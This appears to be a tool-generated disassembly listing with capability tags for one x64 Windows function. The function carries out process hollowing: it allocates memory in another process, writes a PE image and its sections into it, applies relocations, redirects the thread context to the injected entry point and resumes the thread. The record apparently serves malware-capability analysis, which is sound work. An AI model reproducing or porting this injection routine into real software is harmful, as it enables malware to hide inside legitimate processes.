Function at 0x140003920
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x330
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x328], rax
movsxd r15, dword [0x140040ccc]
lea r13, [0x140040c90]
add r15, r13
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x40], r15
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [r15 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140003bf9
mov r9d, dword [r15 + 0x54]
mov ecx, eax
sub ecx, dword [r15 + 0x34]
xor r14d, r14d
mov dword [r15 + 0x34], eax
mov r8, r13
mov rdx, qword [rsp + 0x48]
mov dword [rsp + 0x30], ecx
mov rcx, qword [r12]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003bf9
movsxd rbx, dword [0x140040ccc]
cmp dword [rbx + r13 + 0xa0], r14d
je 0x1400039e4
mov rbx, qword [rbx + r13 + 0xa0]
jmp 0x1400039e7
mov rbx, r14
mov rbp, r14
mov qword [rsp + 0x38], rbx
mov esi, r14d
cmp r14w, word [r15 + 6]
jae 0x140003bf9
mov rdi, r14
movzx edx, word [r15 + 0x14]
add rdx, 0x18
add rdx, rdi
add rdx, r15
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140003a24
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb rbp, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r13
mov rcx, qword [r12]
mov rdx, r10
add rdx, qword [rsp + 0x48]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003bf9
movzx eax, word [r15 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jl 0x140003a00
test rbp, rbp
je 0x140003bf9
mov r13d, dword [rsp + 0x3c]
mov ebx, r14d
test r13d, r13d
je 0x140003b6d
mov r8d, 0x1000
lea rdx, [0x140040c90]
xor r15d, r15d
nop word [rax + rax]
mov r14d, dword [rbp + 0x14]
mov eax, ebx
add ebx, 8
add r14, rax
add r14, rdx
mov eax, dword [r14 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140003b5c
mov r13d, dword [rsp + 0x30]
mov esi, eax
nop dword [rax]
mov ecx, dword [rbp + 0x14]
mov eax, ebx
add ebx, 2
add rcx, rax
movzx edx, word [rcx + rdx]
cmp dx, r8w
jb 0x140003b3f
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x320]
mov edi, dword [r14]
and edx, 0xfff
add rcx, rdx
mov dword [rsp + 0x320], r15d
add rdi, rcx
mov qword [rsp + 0x20], r15
mov rcx, qword [r12]
mov rdx, rdi
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [r12]
lea r8, [rsp + 0x320]
add dword [rsp + 0x320], r13d
mov r9d, 4
mov rdx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x1000
lea rdx, [0x140040c90]
sub rsi, 1
jne 0x140003ac0
mov r13d, dword [rsp + 0x3c]
lea rdx, [0x140040c90]
cmp ebx, r13d
jb 0x140003a90
mov r15, qword [rsp + 0x40]
xor r14d, r14d
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x2c8
call fcn.14002ca00
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140003bf9
mov edx, dword [rsp + 0xf4]
lea r8, [rsp + 0x48]
mov rcx, qword [r12]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003bf9
mov ecx, dword [r15 + 0x28]
lea rdx, [rsp + 0x50]
add ecx, dword [rsp + 0x48]
mov dword [rsp + 0x100], ecx
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140003bf9
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140003bfb
xor eax, eax
mov rcx, qword [rsp + 0x328]
xor rcx, rsp
call fcn.14000a650
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret